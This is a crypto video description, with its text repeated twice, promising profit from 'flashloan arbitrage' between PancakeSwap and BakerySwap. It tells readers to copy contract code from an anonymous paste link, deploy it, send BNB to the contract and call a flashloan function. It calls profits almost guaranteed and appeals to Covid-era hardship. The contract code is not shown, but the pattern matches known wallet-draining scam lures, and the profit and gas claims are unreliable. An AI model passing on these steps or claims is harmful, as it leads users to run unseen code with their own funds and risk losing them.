First code release v1.0
In this video, you can see how I used Flashloans to Arbitrage in Binance Smartchain BSC. We deploy our own contract on BSC to swap between PancakeSwap and Bakeryswap. We keep profits in BNB and this can be repeated at times. Higher the volatility, higher profit due to price change.
We have already been very successful doing this method and knowing that times are hard for a lot of people especially during Covid, is why we have decided to share our knowledge to help the public.
Simply follow the instructions in the video.
What is a flashloan attack? https://news.bitcoin.com/data-shows-bsc-dapps-lost-167-million-last-month-from-flash-loan-attacks/
Remix Link - http://remix.ethereum.org/
Smart Contract Code Link - https://cl1p.net/flashloanv1.0
Here a flash loan borrowed 3,157.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap. To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract. The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,168.39 BNB using BNB/BUSD BakerySwap. After the arbitrage, 3,168.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs around 0.2 BNB of gas. Note that the transaction sender gains 2.51 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time.
STEPS: Before starting, install and setup MetaMask in Chrome Browser.
You need to have BNB in your Metamask Wallet, using the BEP20(BSC) Network, not BEP2! Follow this instruction on connecting MetaMask to Binance Smart Chain - https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain
1. Open and setup Remix in browser (https://remix.ethereum.org)
2. Copy the Contract code at https://cl1p.net/flashloanv1.0
3. Create new file in Remix and paste Contract code and wait for everything to load
4. Enter your token details and deploy your contract
5. Get the Contract address from Remix
6. Send 0.2 BNB to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools. So, its going to take around 0.2 BNB fees)
7. Call 'flashloan' function in Remix.
FOR EDUCATIONAL PURPOSES. This worked for me But TRY IT AT YOUR OWN RISK.
****************************************************************************************************
If it fails, repeat the TX again WITH 31560 GAS LIMIT AS SEEN IN THE VIDEO
**********************************************ATTENTION*********************************************
Example: To attempt a flash loan of 5,000 BNB(1000 Minimum advised for the best minimal results) You have to use a gas fee of at least 1 BNB(0.20 BNB per every 1000 BNB) IF YOU DO NOT HAVE ENOUGH GAS, THE FLASHLOAN WILL FAIL!
Add at least 0.20BNB gas (0.30 is better) in each transaction (Per 1000 Loan amount)
The amount you can earn varies and depends on the arbitrary differences in the liquidity of the pool
If the contract is unable to make a profit from the pool and repay the flashloan whilst pocketing the profits all in one single transaction, then the transaction will revert as if nothing happened which is the nature of flash loans.
The higher the flash loan, the better chances of being able to execute a profitable flash loan attack, which is why we see flash loan attackers doing millions at a time. A flash loan of 5,000 BNB or higher is almost guaranteed to work every time but occasionally lower amounts such as the one demonstrated in the video can work too.
You can make the same for Ethereum, on the Ethereum network because PancakeSwap is a fork of Uniswap
Also works on TrustWallet for Mobile, simply follow the same steps
Be sure to subscribe to my channel and stay tuned for a new video where I will show how to add additional pairs to the code and more content soon!
Enjoy!
#crypto #bitcoin #cryptocurrency #blockchain #btc #ethereum #forex #money #trading #bitcoinmining #cryptocurrencies #bitcoinnews #cryptotrading #bitcoins #investment #investing #entrepreneur #cryptonews #invest #business #eth #bitcointrading #forextrader #litecoin #bitcoincash #trader #bitcoinprice #investor #forextrading #bhfyp #binance #coinbase #xrp #forexsignals #finance #ripple #stocks #binary #hodl #bitcoinexchange #altcoin #success #blockchaintechnology #mining #forexlifestyle #usa #cryptoworld #wealth #motivation #financialfreedom #cryptomining #bitcoinbillionaire #trade #altcoins #ico #gold #stockmarket #wallstreet #cryptoinvestor #cryptotrader #bnb #cake #pancakeswap #doge #dogecoin #flashloan #hack #flashloan #flashloanattack #flashloanarbitrage #earnbnb #freebnb
In this video, you can see how I used Flashloans to Arbitrage in Binance Smartchain BSC. We deploy our own contract on BSC to swap between PancakeSwap and Bakeryswap. We keep profits in BNB and this can be repeated at times. Higher the volatility, higher profit due to price change.
We have already been very successful doing this method and knowing that times are hard for a lot of people especially during Covid, is why we have decided to share our knowledge to help the public.
Simply follow the instructions in the video.
What is a flashloan attack? https://news.bitcoin.com/data-shows-bsc-dapps-lost-167-million-last-month-from-flash-loan-attacks/
Remix Link - http://remix.ethereum.org/
Smart Contract Code Link - https://cl1p.net/flashloanv1.0
Here a flash loan borrowed 3,157.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap. To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract. The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,168.39 BNB using BNB/BUSD BakerySwap. After the arbitrage, 3,168.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs around 0.2 BNB of gas. Note that the transaction sender gains 2.51 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time.
STEPS: Before starting, install and setup MetaMask in Chrome Browser.
You need to have BNB in your Metamask Wallet, using the BEP20(BSC) Network, not BEP2! Follow this instruction on connecting MetaMask to Binance Smart Chain - https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain
1. Open and setup Remix in browser (https://remix.ethereum.org)
2. Copy the Contract code at https://cl1p.net/flashloanv1.0
3. Create new file in Remix and paste Contract code and wait for everything to load
4. Enter your token details and deploy your contract
5. Get the Contract address from Remix
6. Send 0.2 BNB to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools. So, its going to take around 0.2 BNB fees)
7. Call 'flashloan' function in Remix.
FOR EDUCATIONAL PURPOSES. This worked for me But TRY IT AT YOUR OWN RISK.
****************************************************************************************************
If it fails, repeat the TX again WITH 31560 GAS LIMIT AS SEEN IN THE VIDEO
**********************************************ATTENTION*********************************************
Example: To attempt a flash loan of 5,000 BNB(1000 Minimum advised for the best minimal results) You have to use a gas fee of at least 1 BNB(0.20 BNB per every 1000 BNB) IF YOU DO NOT HAVE ENOUGH GAS, THE FLASHLOAN WILL FAIL!
Add at least 0.20BNB gas (0.30 is better) in each transaction (Per 1000 Loan amount)
The amount you can earn varies and depends on the arbitrary differences in the liquidity of the pool
If the contract is unable to make a profit from the pool and repay the flashloan whilst pocketing the profits all in one single transaction, then the transaction will revert as if nothing happened which is the nature of flash loans.
The higher the flash loan, the better chances of being able to execute a profitable flash loan attack, which is why we see flash loan attackers doing millions at a time. A flash loan of 5,000 BNB or higher is almost guaranteed to work every time but occasionally lower amounts such as the one demonstrated in the video can work too.
You can make the same for Ethereum, on the Ethereum network because PancakeSwap is a fork of Uniswap
Also works on TrustWallet for Mobile, simply follow the same steps
Be sure to subscribe to my channel and stay tuned for a new video where I will show how to add additional pairs to the code and more content soon!
Enjoy!
#crypto #bitcoin #cryptocurrency #blockchain #btc #ethereum #forex #money #trading #bitcoinmining #cryptocurrencies #bitcoinnews #cryptotrading #bitcoins #investment #investing #entrepreneur #cryptonews #invest #business #eth #bitcointrading #forextrader #litecoin #bitcoincash #trader #bitcoinprice #investor #forextrading #bhfyp #binance #coinbase #xrp #forexsignals #finance #ripple #stocks #binary #hodl #bitcoinexchange #altcoin #success #blockchaintechnology #mining #forexlifestyle #usa #cryptoworld #wealth #motivation #financialfreedom #cryptomining #bitcoinbillionaire #trade #altcoins #ico #gold #stockmarket #wallstreet #cryptoinvestor #cryptotrader #bnb #cake #pancakeswap #doge #dogecoin #flashloan #hack #flashloan #flashloanattack #flashloanarbitrage #earnbnb #freebnb
- Category
- Crypto Trading
- Tags
Be the first to comment
